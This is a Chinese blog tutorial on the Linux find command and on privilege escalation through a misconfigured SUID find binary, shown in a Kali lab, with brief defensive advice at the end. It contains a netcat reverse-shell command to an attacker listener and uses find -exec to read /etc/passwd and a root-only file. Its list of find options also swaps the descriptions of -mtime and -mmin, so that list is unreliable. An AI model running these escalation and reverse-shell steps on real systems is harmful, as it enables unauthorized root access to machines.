find基础命令与提权教程
关于我
博客主页:【h0ck1r丶羽】的公众号~~
前言
在信息安全的广阔领域中,系统命令的权限设置至关重要。find命令作为Linux常用的文件查找工具,在日常管理中广泛应用。
然而,当find命令被错误地赋予SUID权限时,它可能成为攻击者执行特权操作、实现权限提升的工具。本文深入探讨find命令的常规用法,展示其在特定权限设置下的安全风险,并通过实际案例演示权限提升过程,提供针对性的防御策略。
参数介绍
find常用参数
语法:find 【path...】 【expression】 `path`为查早路径,` . `为当前路径,` / `为根目录,`expression`为参数 参数列表参考: -name:按照文件名查找文件 -perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限 -user:按照文件属性来查找 -size n:文件大小是n个单位 -type: 1. d:目录 2. f:文件 3. c:字符设备文件(Character Device Files)--字符设备文**件允许用户以字节为单位与其进行交互**,这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口,比如`/dev/tty` 4. b:块设备文件(Block Device Files)--与字符设备相对,**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节,例如512字节或4096字节等。<u>块设备的读写通常比字符设备要高效</u>,因此大多数**存储设备**(如硬盘和USB驱动器)都被视为块设备,例如,/dev/sda` -atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n: 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print: 将匹配的文件输出到标准输出 -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。 该表来自:https://blog.csdn.net/weixin_44912169/article/details/105845909
Find实例
1、在当前目录下模糊查找.txt
后缀的文件
find . -name "*.txt"
2、在root目录下查找大于50M小于100M的文件
find / -size +50M -size -100M -type f # +-号分别代表大于和小于
查找10分钟内读取过的文件
find / -amin 10 -type f
查找权限为755的文件或目录并排序
find -perm -755 -type f |sort
查找当前目录下所有.txt文件并把它们拼接起来写入到all.txt中
# 1.txt ls whoami h0ck1r丶羽 # 2.txt cat 1,2,3 find / -name '*.txt' person=123 # 3.txt end_file='3.txt' echo 'over!'
使用find 将这些文件合并到一个文件中
┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} \;> all.txt ┌──(root㉿kali)-[/data/demo] └─# cat all.txt ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'
拆解之后
find .
: 从当前目录开始找
-type f
: 只查找文件(不包括目录)
-name '*.txt'
: 查找文件名以 .txt 文件结尾的文件
-exec cat {} \;
: 对找到的每个文件执行cat
命令,{}
是一个占位符,代表find
命令找到的每个文件名。\;
是命令的结束标记。
> all.txt
: 将cat命令的输出重定向到all.txt
文件中。如果all.txt
文件已存在,他会被覆盖;如果不存在,会被创建。
这样就清楚了:
┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} \; ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!' ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'
对结果进行赛选,然后保存再result.txt
中
┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} \; | grep 'h0ck1r' > result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽
前面两个例子只是对结果进行操作,那么这里执行其他命令cat /etc/passwd
┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat /etc/passwd \; root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
赋予root用户才能读取这个result,txt文件
┌──(root㉿kali)-[/data/demo] └─# chmod 700 result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽
我们切换kali执行find命令
┌──(root㉿kali)-[/data/demo] └─# su kali ┌──(kali㉿kali)-[/data/demo] └─$ ls 1.txt 2.txt 3.txt all.txt result.txt ┌──(kali㉿kali)-[/data/demo] └─$ find result.txt -exec whoami \; kali ┌──(kali㉿kali)-[/data/demo] └─$ cat result.txt cat: result.txt: 权限不够 # 这里我们已经可以看到执行权限不够了
使用kali用户提权,被拒绝了,find提权的利用就是/usr/bin/find
具有SUID权限,一旦find被赋予了SUID权限,那么黑客利用这个方式进行权限提示,造成无法挽回的后果
┌──(kali㉿kali)-[/data/demo] └─$ chmod u+s /usr/bin/find chmod: 更改 '/usr/bin/find' 的权限: 不允许的操作
为了模拟黑客攻击过程,我们直接使用root用户修改find命令为SUID权限
┌──(kali㉿kali)-[/data/demo] └─$ su root 密码:输入你的密码 ┌──(root㉿kali)-[/data/demo] └─# chmod u+s /usr/bin/find
代码块不好看,换个终端。。。
查看这个find权限,具有一个SUID权限
SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。
在这里,find文件所有者为root,那么我们使用具有suid权限的find命令时,是以root用户的权限去执行的
模拟开始,假设我们已经getshell,系统用户为kali
找到了find具有SUID权限
那么就可以利用find执行系统命令,whoami,这时候是root用户,而我们直接使用whoami则是kali普通用户
首先查看result.txt权限,利用cat命令查看,权限不够,那么我们使用find命令执行命令,即可查看我们所属用户为root的result.txt文件,使用{}
代表find查询出来的所有文件
可以执行命令了,那么就是反弹shell,windows作为攻击机,开启nc监听
在开始反弹之前,检查root用户的终端是哪个位置
那么我们正常反弹shell的命令就是这样的,但是移交的是普通用户kali权限
nc -e /usr/bin/zsh 10.0.0.7 3000
使用find命令反弹shell,那么就是root权限
反弹成功,我是root
查看我们的result.txt文件,成功提权!
总结
find更多的用法只是用来查找文件,但如果操作不慎,赋予了SUID权限,它也可以被用来进行权限提升。本文总结了如下几点:
1、当find命令被赋予了SUID权限时,普通用户执行该命令将能够以文件所有者(通常是root)的权限来执行。
2、提权步骤
-
需要确认find命令是否具有SUID权限。这可以通过查看文件权限来完成。
-
一旦确认find命令具有SUID权限,就可以利用它来执行需要更高权限的命令。
-
例如,可以使用find命令来读取或修改通常只有root用户才能访问的文件。
3、防范
-
防御者应该定期检查系统上的重要命令(如find)的权限设置,以确保它们没有被不当修改。
-
还定期审计系统上的权限设置,以确保没有不当的权限提升行为发生。
感谢观看!